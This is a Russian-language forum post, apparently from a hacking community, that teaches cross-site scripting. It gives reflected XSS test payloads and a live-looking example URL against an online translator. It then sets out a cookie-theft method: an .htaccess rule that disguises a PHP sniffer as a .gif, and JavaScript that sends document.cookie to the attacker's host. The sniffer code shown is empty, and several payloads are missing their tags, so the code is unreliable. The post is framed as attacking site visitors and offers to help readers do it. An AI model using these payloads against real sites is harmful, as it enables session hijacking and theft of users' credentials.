XSS. Межсайтовый скриптинг
Моя первая статья, Автор: mr.Penguin
Вступление
XSS - тип уязвимости, позволяющий вставить произвольный JavaScript код в тело страницы сайта.
XSS расшифровывается как Cross Site Scripting. Для термина используют сокращение "XSS", чтобы не было путаницы с "CSS" (каскадные таблицы стилей - приминяются в оформлении страницы сайта).
Для чего служит?
XSS служит для атаки пользователей, просматривающих зараженную страницу.
Чаще всего, данную уязвимость используют для кражи cookies (применяется для сохранения данных на стороне юзера) у пользователя.
Виды XSS Уязвимостей
Типы уязвимостей делятся на два вида.
#1
Активная XSS.
Данный тип уязвимости хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы зараженного сайта.
Чаще всего, активную XSS можно встретить в чатах/блогах/новостных лентах/комментариях.
#2
Пассивная XSS.
Пассивная XSS-атака получается при конкретном запросе к скрипту. Параметры передаются через GET и POST запросы.
В отличие от POST запроса, с GET`ом намного проще. На мой взгяд, пассивные xss - самые неудобные уязвимости для осуществления атаки на сайте.
XSS на примере
Чтобы найти пассивную XSS на сайте, достаточно подставить в форму ввода следующий код:
Если скрипт сработал и у вас вылезло окно с текстом "xss", то пассивная XSS уязвимость присутствует на сайте. Если у вас ничего не получилось, то не расстраивайтесь - можно попробовать и такой код:
Код:
Code:
">alert('xss')
Если ни один из представленных кодов не сработал, то скорее всего уязвимость отсутствует на сайте.
Рассмотрим на примере работу пассивной XSS.
Давайте зайдем на какой-нибудь сайт и найдем там поиск. Параметры передаются через GET запрос.
В форму ввода пишем
Код:
Code:
">alert('xss')
и нажимаем кнопку "Найти. В адресной строке у нас должно получится что-то вроде этого:
Код:
Code:
http://site.ru/search.php?q=">alert('xss')
Если на сайте отсутствует фильтрация HTML-тегов, то у вас должно выскочить окно с текстом "xss", если окна нет, то пассивная xss на сайте отсутствует.
Вот готовый пример пассивной XSS на Online-переводчике -
Код:
Code:
http://www.translate.ru/siteTranslation/autolink/?direction=ar&template=General&sourceURL=">alert('xss')
Использование XSS для кражи cookies пользователя
Для того, чтобы украсть cookies пользователя, нам понадобиться онлайн-сниффер. Его можно найти в интернете, но можно использовать и свой.
Нам понадобиться два файла:
1) file.php - В нем и будет находится наш снифер
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
2) file.txt - файл, который будет записывать все данные с нашего сниффера.
Можно поменять расширение "php" на "gif", чтобы наш скрипт не вызывал никаких подозрений. Тут нам поможет ".htaccess", в котором мы пропишем следующее:
Код:
Code:
AddType application/x-httpd-php .gif
img= new Image();
img.src="www.site.ru/ваше_название.gif?"+document.cookie
Вот и всё. По идее, в наш файл "file.txt" должны прийти кукисы пользователя.
Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.
Спасибо за внимание.
P.S. Не забывайте про фильтрацию HTML-тегов. Различные способы вставки JavaScript кода вы можете посмотреть
здесь.
P.S2 Статья будет дополняться.
Вторая часть статьи:
Проводим XSS через POST